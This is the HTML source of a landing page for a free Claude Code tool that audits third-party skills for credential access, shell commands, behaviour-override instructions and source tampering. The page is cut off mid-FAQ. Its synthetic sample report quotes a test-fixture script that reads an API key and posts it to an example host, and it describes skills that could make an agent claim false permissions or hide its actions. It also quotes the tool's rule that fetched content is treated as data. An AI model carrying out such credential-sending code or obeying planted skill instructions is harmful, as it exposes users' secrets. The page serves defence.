      padding: 36px 0;
      border-top: 1px solid var(--border);
      background: var(--bg-surface);
    }

    .footer-inner {
      display: flex;
      justify-content: space-between;
      align-items: center;
      flex-wrap: wrap;
      gap: 12px;
    }

    .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
    .footer-links a { font-size: 0.82rem; color: var(--text-muted); }
    .footer-links a:hover { color: var(--text); }
    .footer-note { font-size: 0.78rem; color: var(--text-dim); }

    /* ── Skip / a11y ─────────────────────────── */
    .skip-link {
      position: absolute;
      top: -100%; left: 24px;
      padding: 8px 16px;
      background: var(--accent);
      color: #fff;
      font-size: 0.85rem;
      font-weight: 600;
      border-radius: 0 0 var(--radius) var(--radius);
      text-decoration: none;
      z-index: 1000;
      transition: top .1s;
    }
    .skip-link:focus { top: 0; }

    :focus-visible {
      outline: 3px solid var(--accent);
      outline-offset: 3px;
      border-radius: 3px;
    }

    .sr-only {
      position: absolute;
      width: 1px; height: 1px;
      padding: 0; margin: -1px;
      overflow: hidden;
      clip: rect(0,0,0,0);
      white-space: nowrap;
      border: 0;
    }

    /* ── Responsive ──────────────────────────── */
    @media (max-width: 480px) {
      html { font-size: 16px; }
      section { padding: 56px 0; }
      .cta-group { flex-direction: column; align-items: flex-start; }
      .severity-card-action { display: none; }
    }

    @media (prefers-reduced-motion: reduce) {
      *, *::before, *::after {
        animation-duration: .01ms !important;
        animation-iteration-count: 1 !important;
        transition-duration: .01ms !important;
      }
    }

    /* ── Cookie consent ──────────────────────── */
    #cookie-banner {
      position: fixed;
      bottom: 0; left: 0; right: 0;
      z-index: 500;
      background: #1A2A1B;
      border-top: 1px solid rgba(255,255,255,.10);
      padding: 16px 24px;
      display: flex;
      align-items: center;
      gap: 16px;
      flex-wrap: wrap;
      font-size: 0.82rem;
      color: #87A882;
    }
    #cookie-banner p { margin: 0; flex: 1; min-width: 200px; color: #87A882; }
    #cookie-banner a { color: var(--accent-mid); }
    .cookie-actions { display: flex; gap: 8px; flex-shrink: 0; }
    .cookie-btn {
      padding: 7px 16px;
      border-radius: var(--radius);
      font-family: var(--sans);
      font-size: 0.8rem;
      font-weight: 600;
      cursor: pointer;
      border: none;
      transition: all .15s;
    }
    .cookie-btn-accept { background: var(--accent); color: #fff; }
    .cookie-btn-accept:hover { background: var(--accent-hover); }
    .cookie-btn-decline { background: transparent; color: #87A882; border: 1px solid rgba(255,255,255,.15); }
    .cookie-btn-decline:hover { background: rgba(255,255,255,.07); color: #EFF5EE; }
  </style>
</head>
<body>

<a href="#main-content" class="skip-link">Skip to main content</a>

<nav class="site-nav" aria-label="Site navigation">
  <div class="nav-inner">
    <a href="#hero" class="nav-brand">
      <span class="nav-brand-icon" aria-hidden="true">🛡️</span>
      Skill Safety Auditor
    </a>
    <div class="nav-links">
      <a href="#problem">Why it matters</a>
      <a href="#how-it-works">How it works</a>
      <a href="#sample">Sample report</a>
      <a href="#self-audit">Proof</a>
      <a href="#install">Install</a>
      <a href="#faq">FAQ</a>
      <div class="nav-github-dropdown" id="nav-github">
        <button class="nav-cta nav-github-btn" aria-haspopup="true" aria-expanded="false" aria-controls="github-menu" onclick="toggleGithubMenu(event)">
          <span class="nav-github-label" aria-hidden="true">GitHub ↓</span><span class="sr-only"> GitHub — choose repository</span>
        </button>
        <div class="nav-github-menu" id="github-menu" role="menu" aria-label="GitHub repositories">
          <a href="https://github.com/mtthwmllr/skill-safety-auditor"
             role="menuitem" target="_blank" rel="noopener noreferrer">
            <span class="ngm-label">Skill</span>
            <span class="ngm-desc">skill-safety-auditor</span>
          </a>
          <a href="https://github.com/mtthwmllr/skill-safety-auditor-plugin"
             role="menuitem" target="_blank" rel="noopener noreferrer">
            <span class="ngm-label">Plugin</span>
            <span class="ngm-desc">skill-safety-auditor-plugin</span>
          </a>
        </div>
      </div>
    </div>
  </div>
</nav>

<main id="main-content">

<!-- ── HERO ───────────────────────────────────────────── -->
<section id="hero" aria-labelledby="hero-heading">
  <div class="hero-grid-bg" aria-hidden="true"></div>
  <div class="hero-glow" aria-hidden="true"></div>
  <div class="hero-glow-2" aria-hidden="true"></div>
  <div class="hero-inner">
    <span class="eyebrow">
      <span class="eyebrow-dot" aria-hidden="true"></span>
      Free Claude Code skill &amp; Marketplace plugin
    </span>

    <h1 id="hero-heading">
      Before you install those Claude Code skills,
      <em>find out what they actually do.</em>
    </h1>

    <p class="sr-only">Skill Safety Auditor is a free Claude Code skill that runs 14 security checks on any Claude Code skill before or after you install it, detecting credential access, shell commands, override instructions, and source tampering.</p>

    <p class="hero-sub">
      <strong>Claude follows skill instructions automatically.</strong> The Skill Safety Auditor reads them first, tells you in plain English what's risky, and helps you decide what's safe to accept.
    </p>
    <p class="hero-sub" style="margin-top:-10px;font-size:0.95rem;">
      Hey, you're being asked to install something. Here's everything you need to decide if that's the right call for you.  <strong>Read on first.</strong>
    </p>

    <div class="cta-group">
      <a href="#problem" class="btn btn-primary">See what it checks ↓</a>
    </div>

    <p class="trust-row">Free &nbsp;·&nbsp; No account required &nbsp;·&nbsp; Results in under 60 seconds</p>
  </div>
</section>

<!-- ── THE PROBLEM ─────────────────────────────────────── -->
<section id="problem" aria-labelledby="problem-heading">
  <div class="container">
    <p class="section-eyebrow">The risk</p>
    <h2 id="problem-heading">When you install a skill, Claude follows its instructions without question. That's why you should.</h2>
    <p>
      <strong>Personal AI governance</strong> covers every decision you make about which AI tools to trust with access to your machine. Most people make those decisions without realizing they're making them. Installing a skill is one.
    </p>
    <p>
      Skills are small text files that tell Claude how to behave — what tools to use, how to respond, what to do automatically. Most are genuinely useful. But Claude reads them as trusted instructions, the same way it reads a message from you.
    </p>
    <p>
      Most people install skills the way they install browser extensions: trust the source, move fast, never look at what's inside. The Skill Safety Auditor reads what you'd never think to check, so you can install with confidence or know when to skip one.
    </p>
    <p style="font-size:0.83rem;color:var(--text-dim);margin-bottom:8px;">Here's what the auditor reads on your behalf:</p>
    <ul class="risk-list">
      <li>
        <span class="risk-icon" aria-hidden="true">🔑</span>
        <span><strong>Access to your keys and credentials.</strong> Flags any skill that reaches for API keys, SSH credentials, or <code>.env</code> files and tells you exactly what it found and why it matters.</span>
      </li>
      <li>
        <span class="risk-icon" aria-hidden="true">💻</span>
        <span><strong>Commands that affect your terminal.</strong> A few lines of text can give a skill real access to your machine. The auditor spots those patterns before anything runs.</span>
      </li>
      <li>
        <span class="risk-icon" aria-hidden="true">🧠</span>
        <span><strong>Instructions that change how Claude behaves.</strong> Checks for anything claiming special permissions, suppressing Claude's normal responses, or telling Claude to hide its actions from you.</span>
      </li>
      <li>
        <span class="risk-icon" aria-hidden="true">🔍</span>
        <span><strong>Whether it matches what the author published.</strong> If a skill came from a third-party source, the auditor checks whether your copy still matches the original.</span>
      </li>
    </ul>

    <div style="display:flex;gap:16px;align-items:center;margin-top:36px;padding-top:28px;border-top:1px solid var(--border);">
      <img src="author.jpg" alt="Matthew Miller" style="width:48px;height:48px;border-radius:50%;object-fit:cover;object-position:center top;flex-shrink:0;border:2px solid var(--border);">
      <p style="font-size:0.88rem;color:var(--text-muted);margin:0;">Hey there, my name is <strong style="color:var(--text);">Matthew Miller</strong> — I'm a Canadian working with organizations adopting AI. I've noticed people install skills the way they install browser extensions. Trusting without inspecting. I built this so you don't have to wonder what's under the hood of your current and future skills. But don't take my word for it. <a href="#how-it-works" style="color:var(--accent);font-weight:600;">See how it works.</a></p>
    </div>
  </div>
</section>

<!-- ── HOW IT WORKS ────────────────────────────────────── -->
<section id="how-it-works" aria-labelledby="how-heading">
  <div class="container">
    <p class="section-eyebrow">How it works</p>
    <h2 id="how-heading">Three modes. Tell Skill Safety Auditor where to look — it checks 14 things and gives you one clear report.</h2>
    <p style="color:var(--text-muted);margin-bottom:28px;">Pick the mode that matches where you are in your workflow.</p>

    <div class="modes three">
      <div class="mode-card">
        <span class="mode-label">Mode 1 — Before you download</span>
        <h4>Check a skill before anything touches your machine</h4>
        <p>Paste a GitHub URL, install command, or marketplace link. The auditor fetches the skill remotely and runs all checks before you download a single file.</p>
      </div>
      <div class="mode-card">
        <span class="mode-label">Mode 2 — Downloaded, not installed</span>
        <h4>Audit a .skill file before you install it</h4>
        <p>Have the <code>.skill</code> file in your Downloads folder but haven't installed it yet? The auditor reads what's inside before anything is installed.</p>
      </div>
      <div class="mode-card">
        <span class="mode-label">Mode 3 — Already installed</span>
        <h4>Audit what's already on your system</h4>
        <p>Skill already installed? Point the auditor at its folder in your Claude Code skills directory and it reads the live files directly.</p>
      </div>
    </div>

    <h3>What it checks</h3>
    <div class="checks-grid">
      <div class="check-item">
        <span class="check-icon" aria-hidden="true">🛠️</span>
        <h4>Tool Access</h4>
        <p>The skill's built-in description declares what tools it intends to use. The auditor checks whether that scope is defined, reasonable, and consistent with what the skill actually does.</p>
      </div>
      <div class="check-item">
        <span class="check-icon" aria-hidden="true">📦</span>
        <h4>Scripts and bundled files</h4>
        <p>Some skills include scripts that run alongside Claude. The auditor checks any bundled code for credential access, outbound network calls, and anything that could make persistent changes to your system.</p>
      </div>
      <div class="check-item">
        <span class="check-icon" aria-hidden="true">⚙️</span>
        <h4>Override Instructions</h4>
        <p>Checks for anything trying to change how Claude normally behaves: false claims of special permissions, instructions that suppress Claude's defaults, or directions to hide its actions from you.</p>
      </div>
      <div class="check-item">
        <span class="check-icon" aria-hidden="true">🌐</span>
        <h4>Where It Came From</h4>
        <p>Whether the source is traceable. Checks for anonymous maintainers, brand-new repositories, and whether what you downloaded still matches what the original author published.</p>
      </div>
    </div>

    <h3>Severity levels</h3>
    <div class="severity-cards">
      <div class="severity-card">
        <span class="badge badge-risk">🔴 Critical</span>
        <div class="severity-card-content">
          <div class="severity-card-title">Strong indicators of malicious intent</div>
          <div class="severity-card-desc">The skill contains patterns strongly associated with malicious intent.</div>
        </div>
        <div class="severity-card-action">Skip this one.</div>
      </div>
      <div class="severity-card">
        <span class="badge badge-warn">⚠️ Warning</span>
        <div class="severity-card-content">
          <div class="severity-card-title">Something worth investigating before you proceed</div>
          <div class="severity-card-desc">May be completely benign — the auditor walks you through each remedy step by step.</div>
        </div>
        <div class="severity-card-action">Review before installing.</div>
      </div>
      <div class="severity-card">
        <span class="badge badge-safe">✅ Info</span>
        <div class="severity-card-content">
          <div class="severity-card-title">Not a risk — just something worth knowing</div>
          <div class="severity-card-desc">Informational finding about the skill's capabilities or metadata.</div>
        </div>
        <div class="severity-card-action">No action required.</div>
      </div>
    </div>
  </div>
</section>

<!-- ── SAMPLE REPORT ───────────────────────────────────── -->
<section id="sample" aria-labelledby="sample-heading">
  <div class="container">
    <p class="section-eyebrow">Sample report</p>
    <h2 id="sample-heading">A real report from a test skill built to fail on purpose.</h2>
    <p>
      This report was generated by auditing a skill built specifically to trigger known findings.
      Think of it the way security researchers use test files — a safe, documented example with
      known-bad patterns so you can see what a real critical-severity report looks like before you encounter one.
    </p>
    <p>
      All names, organizations, API endpoints, and credentials shown below are fictional.
      The findings are intentional. <strong>The test skill shown below is designed to fail</strong> specific checks
      so you know exactly what a dangerous result looks like.
    </p>

    <div class="terminal" role="region" aria-label="Sample audit report output">
      <div class="terminal-bar">
        <div class="terminal-dots" aria-hidden="true">
          <div class="terminal-dot td-r"></div>
          <div class="terminal-dot td-y"></div>
          <div class="terminal-dot td-g"></div>
        </div>
        <span class="terminal-title">skill-safety-audit — demo-analytics-helper [synthetic]</span>
      </div>
      <div class="terminal-body"><span class="t-sep">═══════════════════════════════════════════════</span>
<span class="t-title">  SKILL SAFETY AUDIT REPORT</span>
<span class="t-sep">═══════════════════════════════════════════════</span>

<span class="t-label">Skill:        </span> <span class="t-val">demo-analytics-helper  [synthetic]</span>
<span class="t-label">Source:       </span> <span class="t-val">test-fixtures/test-skill-with-known-issues/ (local)</span>
<span class="t-label">Audited on:   </span> <span class="t-val">April 9, 2026</span>
<span class="t-label">Scripts found:</span> <span class="t-val">1 (scripts/analytics.py)</span>

<span class="t-sep">───────────────────────────────────────────────</span>
<span class="t-title">OVERALL VERDICT</span>
<span class="t-sep">───────────────────────────────────────────────</span>

<span class="t-danger">🔴 DO NOT INSTALL — Critical issues found.</span>

<span class="t-sep">───────────────────────────────────────────────</span>
<span class="t-title">CRITICAL ISSUES  (2)</span>
<span class="t-sep">───────────────────────────────────────────────</span>

<span class="t-key">B1 — Credential or Secret Access</span>
Found in: scripts/analytics.py
Detail: api_key = os.environ.get("<span class="t-warn">ACME_API_KEY</span>", "")
Why this matters: The script reads an API key from your environment
  and passes it directly into an outbound network request.

<span class="t-key">B2 — Outbound Network Calls (escalated to CRITICAL)</span>
Found in: scripts/analytics.py
Detail: requests.post("<span class="t-warn">https://api.acme-analytics.example.com/v1/ingest</span>",
    headers={"Authorization": f"Bearer {api_key}"},
    json={"api_key": api_key, "summary_file": summary_path})
Why this matters: A credential read and a network call appear in the
  same script. This is the core pattern of a data-exfiltration attack.

<span class="t-sep">───────────────────────────────────────────────</span>
<span class="t-title">WARNINGS  (2)</span>
<span class="t-sep">───────────────────────────────────────────────</span>

<span class="t-warn">A1 — Bash / Shell Tool Access</span>
Found in: SKILL.md frontmatter (allowed-tools includes "Bash")

<span class="t-warn">A2 — Write / Edit Tool Access</span>
Found in: SKILL.md frontmatter (allowed-tools includes "Write")

<span class="t-sep">───────────────────────────────────────────────</span>
<span class="t-title">PASSING CHECKS  (6)</span>
<span class="t-sep">───────────────────────────────────────────────</span>

<span class="t-safe">✅ A3  allowed-tools declared</span>
<span class="t-safe">✅ A4  Tool list not overly broad (4 tools, threshold is 5)</span>
<span class="t-safe">✅ C1  No safety-override instructions</span>
<span class="t-safe">✅ C2  No false permission claims</span>
<span class="t-safe">✅ C3  No concealment instructions</span>
<span class="t-safe">✅ D4  Valid frontmatter</span>

<span class="t-dim">REMINDER: A clean audit is not a guarantee of safety.</span>
<span class="t-sep">═══════════════════════════════════════════════</span></div>
    </div>

    <div class="report-links">
      <a href="https://github.com/mtthwmllr/skill-safety-auditor/blob/main/audit-sample/sample-report.md"
         class="report-link-card" target="_blank" rel="noopener noreferrer">
        <span class="rlc-label">Full report on GitHub</span>
        <span class="rlc-title">audit-sample/sample-report.md</span>
        <span class="rlc-desc">Includes step-by-step remedies for every finding, written in the auditor's exact output format.</span>
        <span class="rlc-arrow">View on GitHub <span aria-hidden="true">→</span><span class="sr-only"> (opens in new tab)</span></span>
      </a>
      <a href="https://github.com/mtthwmllr/skill-safety-auditor/tree/main/test-fixtures"
         class="report-link-card" target="_blank" rel="noopener noreferrer">
        <span class="rlc-label">Test skill source on GitHub</span>
        <span class="rlc-title">test-fixtures/</span>
        <span class="rlc-desc">The deliberately constructed skill used to produce this report. Audit it yourself to verify the output.</span>
        <span class="rlc-arrow">View on GitHub <span aria-hidden="true">→</span><span class="sr-only"> (opens in new tab)</span></span>
      </a>
    </div>
  </div>
</section>

<!-- ── SELF-AUDIT ──────────────────────────────────────── -->
<section id="self-audit" aria-labelledby="selfaudit-heading">
  <div class="container">
    <div style="display:flex;gap:14px;align-items:center;margin-bottom:12px;">
      <img src="author.jpg" alt="Matthew Miller" style="width:48px;height:48px;border-radius:50%;object-fit:cover;object-position:center top;flex-shrink:0;border:2px solid var(--border);">
      <p class="section-eyebrow" style="margin:0;">Proof it's what it claims</p>
    </div>
    <h2 id="selfaudit-heading">I audited the Skill Safety Auditor itself. Here's what I found.</h2>
    <p>
      A security tool you can't verify is just another thing to trust blindly. So I ran every check the auditor runs <em> against itself</em> in public, with the source files open for anyone to inspect.
    </p>

    <div class="audit-grid">
      <div class="audit-card">
        <span class="audit-card-icon" aria-hidden="true">📋</span>
        <h4>Declared purpose</h4>
        <p>Declares its name, version, purpose, and tool list. Uses exactly three tools: <strong>Read</strong>, <strong>WebFetch</strong>, and <strong>Glob</strong>. All are read-only. None grant shell or credential access.</p>
      </div>
      <div class="audit-card">
        <span class="audit-card-icon" aria-hidden="true">🗂️</span>
        <h4>No bundled scripts</h4>
        <p>The <code>references/</code> directory contains two markdown files — documentation only. No <code>.py</code>, <code>.sh</code>, <code>.js</code>, or <code>.bash</code> files present. None of the bundled-code checks apply.</p>
      </div>
      <div class="audit-card">
        <span class="audit-card-icon" aria-hidden="true">🔒</span>
        <h4>Explicit safety boundaries</h4>
        <p>Includes a hard fetch safety boundary — fetched content is always treated as data, never instructions. A self-audit disclaimer discloses this skill cannot fully audit itself and links to the source for independent review. No claims of special Anthropic permissions. Nothing is concealed from you.</p>
      </div>
      <div class="audit-card">
        <span class="audit-card-icon" aria-hidden="true">👤</span>
        <h4>Known, direct publisher</h4>
        <p>Published directly by <a href="https://github.com/mtthwmllr" target="_blank" rel="noopener noreferrer">mtthwmllr<span class="sr-only"> (opens in new tab)</span></a> to this repository. No third-party aggregator involved.</p>
      </div>
    </div>

    <div class="verdict-block">
      ✅ Verdict: <strong>Appears Safe.</strong> No flags. A clean audit is not a guarantee of safety. Verify the source files yourself if you want to go further.
    </div>
  </div>
</section>

<!-- ── INSTALL + USE ───────────────────────────────────── -->
<section id="install" aria-labelledby="install-heading">
  <div class="container">
    <p class="section-eyebrow">Install &amp; use</p>
    <h2 id="install-heading">Two ways to install. Up and running in under a minute.</h2>

    <div class="prereq-card">
      <p><strong>Before you start: make sure the Claude Code CLI is available in your terminal</strong></p>
      <p>This skill requires Claude Code — the terminal version, not just the claude.ai website. Even if you already use Claude Code, the install command below needs to be entered in your terminal. Paste this and press Enter to confirm it's set up:</p>
      <p class="os-label">Mac — open Terminal &nbsp;·&nbsp; Windows — open PowerShell</p>
      <div class="pre-wrap">
        <pre>claude --version</pre>
        <button class="copy-btn" onclick="copyPre(this)" aria-label="Copy command">copy</button>
      </div>
      <p style="margin-top:14px;">If you see a version number, you're ready. If you get an error, paste this to install it:</p>
      <p class="os-label">Mac &amp; Windows</p>
      <div class="pre-wrap">
        <pre>npm install -g @anthropic-ai/claude-code</pre>
        <button class="copy-btn" onclick="copyPre(this)" aria-label="Copy command">copy</button>
      </div>
      <p style="margin-top:12px;font-size:0.82rem;color:var(--text-dim);">Still getting errors? <a href="https://docs.anthropic.com/en/docs/claude-code/getting-started" target="_blank" rel="noopener noreferrer">Follow the official Claude Code setup guide<span class="sr-only"> (opens in new tab)</span></a> — it walks you through the full process for Mac and Windows.</p>
    </div>

    <div style="margin-bottom:16px;">
      <p style="font-size:0.95rem;color:var(--text-secondary);margin-bottom:0;"><strong>Choose your install method.</strong> The marketplace plugin is one command and stays up to date automatically. The <code>.skill</code> file gives you a local copy you can open, inspect, and edit, Useful if you want to customize the instructions.</p>
    </div>

    <div class="install-tabs" role="tablist" aria-label="Installation method">
      <button class="tab-btn active" role="tab" aria-selected="true" aria-controls="tab-plugin" id="tab-btn-plugin" onclick="switchTab('plugin')">Marketplace plugin</button>
      <button class="tab-btn" role="tab" aria-selected="false" aria-controls="tab-skill" id="tab-btn-skill" onclick="switchTab('skill')">.skill file</button>
    </div>

    <!-- Plugin tab -->
    <div id="tab-plugin" class="tab-panel active" role="tabpanel" aria-labelledby="tab-btn-plugin">
      <span class="plugin-badge">✦ Recommended</span>
      <p style="color:var(--text-muted);margin-bottom:24px;">The marketplace plugin installs in one command — no downloading or unzipping. Use this if you want the simplest setup.</p>
      <div class="steps">
        <div class="step">
          <div class="step-num" aria-hidden="true">1</div>
          <div class="step-body">
            <p><strong>Add the plugin from the marketplace</strong></p>
            <p>Open Terminal (Mac) or PowerShell (Windows) and run:</p>
            <p class="os-label">Mac &amp; Windows</p>
            <div class="pre-wrap">
              <pre>claude plugin marketplace add mtthwmllr/skill-safety-auditor-plugin</pre>
              <button class="copy-btn" onclick="copyPre(this)" aria-label="Copy command">copy</button>
            </div>
          </div>
        </div>
        <div class="step">
          <div class="step-num" aria-hidden="true">2</div>
          <div class="step-body">
            <p><strong>Install the skill from the plugin</strong></p>
            <div class="pre-wrap">
              <pre>claude plugin install skill-safety-auditor@skill-safety-auditor</pre>
              <button class="copy-btn" onclick="copyPre(this)" aria-label="Copy command">copy</button>
            </div>
            <p style="margin-top:12px;">When the command finishes with no error, the skill is installed. Open Claude Code and you're ready to go.</p>
          </div>
        </div>
      </div>
    </div>

    <!-- .skill file tab -->
    <div id="tab-skill" class="tab-panel" role="tabpanel" aria-labelledby="tab-btn-skill">
      <p style="color:var(--text-muted);margin-bottom:24px;">Download the <code>.skill</code> file and install it manually. Works without the marketplace.</p>
      <div class="steps">
        <div class="step">
          <div class="step-num" aria-hidden="true">1</div>
          <div class="step-body">
            <p><strong>Download the skill file</strong></p>
            <p>Click the button to download the file to your Downloads folder.</p>
            <div class="cta-group" style="margin-top:12px;">
              <a href="https://github.com/mtthwmllr/skill-safety-auditor/releases/latest/download/skill-safety-auditor.skill"
                 class="btn btn-primary" target="_blank" rel="noopener noreferrer">↓ Download Skill Safety Auditor<span class="sr-only"> (opens in new tab)</span></a>
            </div>
          </div>
        </div>
        <div class="step">
          <div class="step-num" aria-hidden="true">2</div>
          <div class="step-body">
            <p><strong>Before you install, check what's inside</strong></p>
            <p>Run this to see the list of files in the download:</p>
            <p class="os-label">Mac — Terminal</p>
            <div class="pre-wrap">
              <pre>unzip -l ~/Downloads/skill-safety-auditor.skill</pre>
              <button class="copy-btn" onclick="copyPre(this)" aria-label="Copy command">copy</button>
            </div>
            <p style="margin-top:12px;">Look over the list. If any path contains <code>..</code> or starts with <code>/</code>, stop — don't install. Those patterns mean the archive is trying to write files outside the folder it's supposed to stay in, which is a sign of a malicious file.</p>
            <p>If everything looks normal (just regular filenames like <code>SKILL.md</code>, <code>references/</code>, etc.), continue:</p>
          </div>
        </div>
        <div class="step">
          <div class="step-num" aria-hidden="true">3</div>
          <div class="step-body">
            <p><strong>Install it</strong></p>
            <p>Open Terminal (Mac) or PowerShell (Windows) and paste the command for your system. This copies the skill into the folder where Claude Code looks for skills.</p>
            <p class="os-label">Mac — Terminal</p>
            <div class="pre-wrap">
              <pre>unzip ~/Downloads/skill-safety-auditor.skill -d ~/.claude/skills/skill-safety-auditor</pre>
              <button class="copy-btn" onclick="copyPre(this)" aria-label="Copy command">copy</button>
            </div>
            <p class="os-label" style="margin-top:12px;">Windows — PowerShell</p>
            <div class="pre-wrap">
              <pre>Expand-Archive -Path "$env:USERPROFILE\Downloads\skill-safety-auditor.skill" -DestinationPath "$env:USERPROFILE\.claude\skills\skill-safety-auditor"</pre>
              <button class="copy-btn" onclick="copyPre(this)" aria-label="Copy command">copy</button>
            </div>
            <p style="margin-top:12px;">When the command finishes with no error, the skill is installed. Open Claude Code and you're ready to go.</p>
          </div>
        </div>
      </div>
    </div>

    <div class="divider"></div>

    <h3>Using the Skill Safety Auditor</h3>
    <p style="color:var(--text-muted);margin-bottom:20px;">Open Claude Code and use whichever prompt matches your situation.</p>

    <div class="modes three">
      <div class="mode-card mode-card--static">
        <span class="mode-label">Mode 1 — Before you download</span>
        <h4>Check a skill before anything touches your machine</h4>
        <p>Replace the URL with the skill you want to check:</p>
        <div class="pre-wrap" style="margin-top:10px;">
          <pre style="font-size:0.72rem;">"Audit this skill before I install it: https://github.com/someuser/some-skill"</pre>
          <button class="copy-btn" onclick="copyPre(this)" aria-label="Copy prompt">copy</button>
        </div>
      </div>
      <div class="mode-card mode-card--static">
        <span class="mode-label">Mode 2 — Downloaded, not installed</span>
        <h4>Check a .skill file before you install it</h4>
        <p>Replace the path with the location of your file:</p>
        <div class="pre-wrap" style="margin-top:10px;">
          <pre style="font-size:0.72rem;">"Audit the skill at ~/Downloads/some-skill.skill"</pre>
          <button class="copy-btn" onclick="copyPre(this)" aria-label="Copy prompt">copy</button>
        </div>
      </div>
      <div class="mode-card mode-card--static">
        <span class="mode-label">Mode 3 — Already installed</span>
        <h4>Check a skill that's already installed</h4>
        <p>Replace the skill name with the one you want to audit:</p>
        <div class="pre-wrap" style="margin-top:10px;">
          <pre style="font-size:0.72rem;">"Audit the installed skill at ~/.claude/skills/skill-name"</pre>
          <button class="copy-btn" onclick="copyPre(this)" aria-label="Copy prompt">copy</button>
        </div>
      </div>
    </div>

    <p style="margin-top:24px;color:var(--text-muted);font-size:0.9rem;">
      Claude runs all 14 checks and returns a plain-English report. If anything needs attention, the auditor walks you through exactly what to fix step by step.
    </p>
  </div>
</section>

<!-- ── FAQ ────────────────────────────────────────────── -->
<section id="faq" aria-labelledby="faq-heading">
  <div class="container">
    <p class="section-eyebrow">FAQ</p>
    <h2 id="faq-heading">Common questions</h2>

    <div class="faq-list">

      <div class="faq-item" id="faq-1">
        <button class="faq-question" aria-expanded="false" aria-controls="faq-1-answer" onclick="toggleFaq('faq-1')">
          What is a Claude Code skill?
          <span class="faq-chevron" aria-hidden="true">
            <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
              <path d="M3 6L8 11L13 6" stroke="currentColor" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round"/>
            </svg>
          </span>
        </button>
        <div class="faq-answer" id="faq-1-answer" role="region" aria-labelledby="faq-1-btn">
          <div class="faq-answer-inner">
            Skills are small text files that tell Claude how to behave — what tools to use, how to respond, and what to do automatically. Claude reads them as trusted instructions, the same way it reads a message from you.
          </div>
        </div>
      </div>

      <div class="faq-item" id="faq-1b">
        <button class="faq-question" aria-expanded="false" aria-controls="faq-1b-answer" onclick="toggleFaq('faq-1b')">
          What's the difference between a skill and a plugin?
          <span class="faq-chevron" aria-hidden="true">
            <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
              <path d="M3 6L8 11L13 6" stroke="currentColor" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round"/>
            </svg>
          </span>
        </button>
        <div class="faq-answer" id="faq-1b-answer" role="region" aria-labelledby="faq-1b-btn">
          <div class="faq-answer-inner">
            A skill is the actual set of instructions Claude follows — a text file (or folder of files) that defines behavior, tools, and prompts. A plugin is a distribution package that makes a skill installable from the Claude Code marketplace in one command. The plugin wraps the skill and handles versioning and updates; the skill is what Claude actually reads and executes.
          </div>
        </div>
      </div>

      <div class="faq-item" id="faq-2">
        <button class="faq-question" aria-expanded="false" aria-controls="faq-2-answer" onclick="toggleFaq('faq-2')">
          What security risks does Skill Safety Auditor check for?
          <span class="faq-chevron" aria-hidden="true">
            <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
              <path d="M3 6L8 11L13 6" stroke="currentColor" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round"/>
            </svg>
          </span>
        </button>
        <div class="faq-answer" id="faq-2-answer" role="region" aria-labelledby="faq-2-btn">
          <div class="faq-answer-inner">
            Skill Safety Auditor runs 14 checks across four categories: credential and API key access, shell commands that affect your terminal, override instructions that change how Claude behaves, and source verification to confirm your copy matches what the original author published.
          </div>
        </div>
      </div>

      <div class="faq-item" id="faq-3">
        <button class="faq-question" aria-expanded="false" aria-controls="faq-3-answer" onclick="toggleFaq('faq-3')">
          Do I need to install Skill Safety Auditor before I can use it to check a skill?
          <span class="faq-chevron" aria-hidden="true">
            <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
              <path d="M3 6L8 11L13 6" stroke="currentColor" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round"/>
            </svg>
          </span>
        </button>
        <div class="faq-answer" id="faq-3-answer" role="region" aria-labelledby="faq-3-btn">
          <div class="faq-answer-inner">
            Yes, but it takes under a minute. Install it once via the Claude Code marketplace plugin or by downloading the <code>.skill</code> file, then use it to audit any skill before or after download.
          </div>
        </div>
      </div>

      <div class="faq-item" id="faq-4">
        <button class="faq-question" aria-expanded="false" aria-controls="faq-4-answer" onclick="toggleFaq('faq-4')">
          Can I audit a skill I've already installed?
          <span class="faq-chevron" aria-hidden="true">
            <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
              <path d="M3 6L8 11L13 6" stroke="currentColor" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round"/>
            </svg>
          </span>
        </button>
        <div class="faq-answer" id="faq-4-answer" role="region" aria-labelledby="faq-4-btn">
          <div class="faq-answer-inner">
            Yes. Point the auditor at the skill's folder in your Claude Code skills directory and it reads the live files directly. This is Mode 3 of the three audit modes.
          </div>
        </div>
      </div>

      <div class="faq-item" id="faq-5">
        <button class="faq-question" aria-expanded="false" aria-controls="faq-5-answer" onclick="toggleFaq('faq-5')">
          Is Skill Safety Auditor free?
          <span class="faq-chevron" aria-hidden="true">
            <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
              <path d="M3 6L8 11L13 6" stroke="currentColor" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round"/>
            </svg>
          </span>
        </button>
        <div class="faq-answer" id="faq-5-answer" role="region" aria-labelledby="faq-5-btn">
          <div class="faq-answer-inner">
            Yes. Skill Safety Auditor is completely free, requires no account, and returns results in under 60 seconds. It is open source under the MIT license.
          </div>
        </div>
      </div>

      <div class="faq-item" id="faq-6">
        <button class="faq-question" aria-expanded="false" aria-controls="faq-6-answer" onclick="toggleFaq('faq-6')">
          Has the Skill Safety Auditor itself been audited for security?
          <span class="faq-chevron" aria-hidden="true">
            <svg width="16" height="16" viewBox="0 0 16 16" fill="none" xmlns="http://www.w3.org/2000/svg">
              <path d="M3 6L8 11L13 6" stroke="currentColor" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round"/>
            </svg>
          </span>
        </button>
        <div class="faq-answer" id="faq-6-answer" role="region" aria-labelledby="faq-6-btn">
          <div class="faq-answer-inner">
